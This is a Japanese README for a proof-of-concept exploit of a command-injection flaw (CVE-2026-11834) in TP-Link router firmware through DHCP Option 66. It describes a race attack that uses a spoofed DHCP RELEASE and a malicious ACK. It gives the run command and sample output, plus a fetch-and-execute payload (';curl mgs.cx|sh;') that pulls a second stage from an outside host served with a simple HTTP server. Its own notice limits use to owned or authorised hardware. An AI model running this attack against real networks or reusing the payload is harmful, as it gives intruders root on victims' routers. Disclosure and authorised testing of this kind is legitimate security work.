
TP-Link DHCP Option 66 未認証RCE (CVE-2026-11834) の概念実証 (PoC)
TP-Link DHCP Option 66 の未認証RCE(CVE-2026-11834)
DHCP Option 66(「TFTPサーバー名」)の処理におけるTP-Linkルーターファームウェアのコマンドインジェクションの脆弱性(CWE-78)により、同一ネットワークセグメント上の未認証の攻撃者がrootとして任意のコマンドを実行できます。デバイスがWANインターフェースでDHCPクライアントとして動作するとき、リースで返されたOption 66の値はサニタイズされずにlibcmm.so内のtftpシェルコマンドに連結されます。5つの関数がこのコマンドを構築し、system()を呼び出すutil_execSystem()に渡すため、細工されたOption 66の値はシェル入力として解釈され、rootとして実行されます。
Option 66の値はデバイス上で16文字に切り詰められるため、ペイロードは最小限のフェッチ&エグゼキュート(;curl <domain>|sh;)となり、HTTP経由でより大きなセカンドステージを取得します。
攻撃者はDHCPサーバーを制御する必要はありません。このPoCはセグメント上の正規サーバーと競合します。ターゲットになりすましてDHCP RELEASEを送信してそのバインディングをクリアし、ターゲットがリースを再取得するのを待ち、正規サーバーが応答する前に、ペイロードを含む悪意のあるOFFER/ACKでターゲットのブロードキャストに応答します。
この概念実証(PoC)は、TP-Link Archer C20 V6(ファームウェア0.9.1 Build 4.19、EU)に対してテストされました。影響を受けるコードパスは多数のTP-Linkルーターで共有されていますが、メモリオフセット、関数アドレス、および動作は、他のモデルやファームウェアバージョンでは異なる場合があります。
このPoCは、ターゲットデバイス上でrootとして実行されるOption 66ペイロードを配信します。このPoCは、自分が所有しているハードウェア、または明示的にテストを許可されたハードウェアに対してのみ実行してください。
$ sudo python3 cve-2026-11834.py <target_ip> -i <interface> -s <dhcp_server_ip> -S <dhcp_server_mac> -p '<payload>'
実行例:
$ sudo python3 cve-2026-11834.py 10.0.10.110 -i eth0 -s 10.0.10.254 -S 00:f2:8b:99:86:46 -p ';curl mgs.cx|sh;'
TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack
Target IP : 10.0.10.110
Target MAC : 3c:64:cf:7b:69:8b
DHCP Server : 10.0.10.254 (00:f2:8b:99:86:46)
Attacker IP : 10.0.10.5
Interface : eth0
Payload : ;curl mgs.cx|sh;
[*] Sending spoofed DHCP RELEASE for 10.0.10.110
[*] RELEASE sent. Waiting for target to re-acquire lease...
[!] Got DHCP REQUEST from 3c:64:cf:7b:69:8b, XID: 0x43edad72
[>] Sending malicious DHCP ACK...
[>] ACK sent. Payload delivered.
ペイロードホストは、デバイスが取得して実行するセカンドステージを提供します。例:
$ cat index.html
[second stage payload]
$ sudo python3 -m http.server 80
| 引数 | 説明 |
|---|
target_ip | ターゲットデバイスの現在のIPアドレス |
-i, --interface | ターゲットのセグメント上のネットワークインターフェース |
-s, --server-ip | 正規のDHCPサーバーのIP |
-S, --server-mac | 正規のDHCPサーバーのMAC |
-p, --payload | Option 66の値(16文字以内)、例:`;curl |
-t, --target-mac | ターゲットのMAC(省略時はARPで自動解決) |
-a, --attacker-ip | 悪意のあるリースでアドバタイズされるserver-id(デフォルトはインターフェースIP) |